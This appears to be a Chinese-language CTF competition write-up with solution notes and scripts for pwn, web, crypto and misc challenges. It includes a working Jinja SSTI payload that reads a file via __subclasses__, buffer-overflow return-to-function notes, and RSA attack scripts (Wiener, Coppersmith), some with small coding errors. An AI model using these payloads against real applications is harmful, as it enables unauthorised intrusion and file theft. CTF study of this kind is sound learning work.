Rank #90 over total 1216
中国地区排名第一
比赛结束服务器立刻down了,所以部分题目只有完整思路没有exp
第一问,要回答rand()的值,因为没有设置种子,所以本地编译一个c文件看看rand()的第一个值是多少即可
第二问是一个简单的逆向,根据程序的算法逐位爆破出输入
def go(a1, s1) :
a1 = list(str(a1))
s1 = str(s1)
for i in range(0, len(a1) - 1) :
a1[i + 1] = chr((ord(a1[i + 1]) - 48 + g(ord(a1[i]), (i + ord(a1[i])))) % 10 + 48)
r = ""
for i in a1 :
r += i
if r[:len(s1)] == s1 :
return True
else :
return False
s = "7759406485255323229225"
index = 1
m = 0
for i in range(len(s)) :
for j in range(10) :
if go(m + j, int(s[:index])) :
m = (m + j) * 10
index = index + 1
print(m)
break
题目答对两题之后会有gets()的机会,题目没有canary,没有PIE,直接return to print_flag
题目需要猜测一个0-40000000的随机数,但是随机数的种子是整数的时间,所以本地编译一个同样逻辑的c程序,pwn时候读出链接服务器的时间戳(秒)做种子的随机数即可
参数注入的几种尝试后发现是SSTI,但是有WAF过滤了很多字符
构造出读出列表的os payload
http://web.chal.csaw.io:5000/submit?value=
{{request[request.args.param1].mro()[-1]request.args.param2}}¶m1=__class__¶m2=__subclasses__
修改后直接读flag:
http://web.chal.csaw.io:5000/submit?value={{request[request.args.param1].mro()[-1][request.args.param2]().pop(40)(%27flag.txt%27).read()}}¶m1=\_\_class\_\_¶m2=\_\_subclasses\_\_
nc过去发现是摩尔斯码得到数字,斜杠分割转ascii做base64解码最后rot13得到正文,但是需要自动解若干组。
from pwn import *
import codecs
def rot13(s):
chars = "abcdefghijklmnopqrstuvwxyz"
trans = chars[13:] + chars[:13]
rot_char = lambda c: trans[chars.find(c)] if chars.find(c) > -1 else c
return ''.join(rot_char(c) for c in s)
p = remote("crypto.chal.csaw.io", 5001)
d = {'.-': 'A', '-...': 'B', '-.-.': 'C', '-..': 'D', '.': 'E', '..-.': 'F', '--.': 'G', '....': 'H', '..': 'I',
'.---': 'J', '-.-': 'K', '.-..': 'L', '--': 'M', '-.': 'N', '---': 'O', '.--.': 'P', '--.-': 'Q', '.-.': 'R',
'...': 'S', '-': 'T', '..-': 'U', '...-': 'V', '.--': 'W', '-..-': 'X', '-.--': 'Y', '--..': 'Z', '.----': '1',
'..---': '2', '...--': '3', '....-': '4', '.....': '5', '-....': '6', '--...': '7', '---..': '8', '----.': '9',
'-----': '0', '--..--': ', ', '.-.-.-': '.', '..--..': '?', '-..-.': '/', '-....-': '-', '-.--.': '(',
'-.--.-': ')'}
context.log_level='debug'
while True:
p.recvuntil(b"What does this mean?\r\n")
s = p.recvline().strip().decode().split("/")
inf = ""
for i in s:
if len(i) != 0:
data = i.split(" ")
r = ""
for j in data:
if len(j) != 0:
r += d[j]
inf += chr(int(r))
inf = base64.b64decode(inf).decode().split("c = ")[1]
print(inf)
inf = int(gmpy2.iroot(int(inf), 3)[0])
print(inf)
inf = bytes.fromhex(hex(inf)[2:]).decode()
print(inf)
inf = codecs.encode(inf, 'rot_13')
print(inf)
p.sendlineafter(b">>", inf.encode())
执行脚本得到flag
第一问给出RSA的n,e,c,问正文,其中e几乎和n一样大
e过小(<3)或者过大时可以通过winner hack解出正文,脚本:
def rational_to_contfrac(x, y):
a = x // y
pquotients = [a]
while a * y != x:
x, y = y, x - a * y
a = x // y
pquotients.append(a)
return pquotients
def convergents_from_contfrac(frac):
convs = [];
for i in range(len(frac)):
convs.append(contfrac_to_rational(frac[0:i]))
return convs
def contfrac_to_rational(frac):
if len(frac) == 0:
return (0, 1)
num = frac[-1]
denom = 1
for _ in range(-2, -len(frac) - 1, -1):
num, denom = frac[_] * num + denom, num
return (num, denom)
def wiener_hack(e, n, c):
frac = rational_to_contfrac(e, n)
convergents = convergents_from_contfrac(frac)
for (k, d) in convergents:
if k != 0 and (e * d - 1) % k == 0:
phi = (e * d - 1) // k
s = n - phi + 1
discr = s * s - 4 * n
if (discr >= 0):
try:
r = bytes.fromhex(str(hex(pow(c, d, n)))[2:])
except:
r = bytes.fromhex("0" + str(hex(pow(c, d, n)))[2:])
if b'flag' or b'w' in r:
print(r)
return False
e =
n =
c =
d = wiener_hack(e, n, c)
第二问
第三问
第四问题目告知了n,e=17,c和d的低512位d0,通过Coppersmith attack解出完整的d。
sage(一个强力的数学运算语言,使用自带的python解释器)脚本:
# sage
def getFullP(low_p, n):
R.<x> = PolynomialRing(Zmod(n), implementation='NTL')
p = x*2^512 + low_p
root = (p-n).monic().small_roots(X = 2^128, beta = 0.4)
if root:
return p(root[0])
return None
def phase4(low_d, n, c, e):
maybe_p = []
for k in range(1, e+1):
p = var('p')
p0 = solve_mod([e*p*low_d == p + k*(n*p - p^2 - n + p)], 2^512)
maybe_p += [int(x[0]) for x in p0]
for x in maybe_p:
P = getFullP(x, n)
if P:
P = int(P)
Q = n // P
assert P*Q == n
d = inverse_mod(e, (P-1)*(Q-1))
print(bytes.from(hex(power_mod(c, d, n))[2:]))
break
n =
e =
c =
low_d =
phase4(low_d, n, c, e)
完成四个问题后得到flag
只有8种可能,爆破 flag{Sensor_12345}
签到
问卷
已知hash,姓名加YYYYMMDD爆破,或者直接去神奇的cmd5求解
神奇的量子计算题,难点是要知道这是量子通信,然后是BB84协议里的测量方法。
首先需要逐位测量256个量子比特+或x,然后接收256个量子基底。
最后返回观测结果,根据BB84协议写出脚本:
from pwn import *
p = remote("misc.chal.csaw.io", 5001)
def check(s):
p.recvuntil(b" check?")
p.sendline(str(len(s)).encode())
p.recvuntil(b"bases: ")
p.sendline(s.encode())
p.recvuntil(b"Errors: ")
return int(p.recvline().decode().strip())
r = ""
for i in range(0, 256):
r += "+"
n = check(r)
if n != 0:
r = r[:len(r) - 1] + "x"
if i == 255:
check(r)
print(r)
s = p.recvuntil(b"What is the key?: ").decode().strip().split("\n")[:-1]
k = ""
for i in range(0, len(s)):
if len(s[i]) > 3:
basis = r[i]
qubit = s[i].strip()
if (qubit == '0.0 + 1.0i' and basis == '+') or (
qubit == '-0.707 + 0.707i' and basis == 'x'):
k += "1"
else:
k += "0"
print(k)
p.interactive()
输入最后二进制转为ASCII的得到flag
得到一个pdf,放大会发现有很多小黄点,根据谷歌和题目名字考虑是MIC(https://en.wikipedia.org/wiki/Machine_Identification_Code),首先将pdf转换为高清图片:
pdftoppm scan.pdf X -png
然后通过deda识别MIF
deda_parse_print X-1.png
deda_parse_print X-2.png
...
将机器编码转换成ASCII,得到flag
cyberChief的恩戈马尼机和这道题目的内容好像对不上,谷歌题目内容“M3 UKW B enigma online”第一条的模拟器全默认值就可以解出
P.S : cyberchief上的enigma只是第三代版本,enigma还有前两代和后一代,前一代就是UKW
已知哈希值,请万能的cmd5解出flag
题目环境down了,好像是简单的任意路径访问
简单gets() BOF,无canary,无PIE,有后门函数
根据题目python脚本逆向每一步,基本就是再反着再加密一遍就能得到flag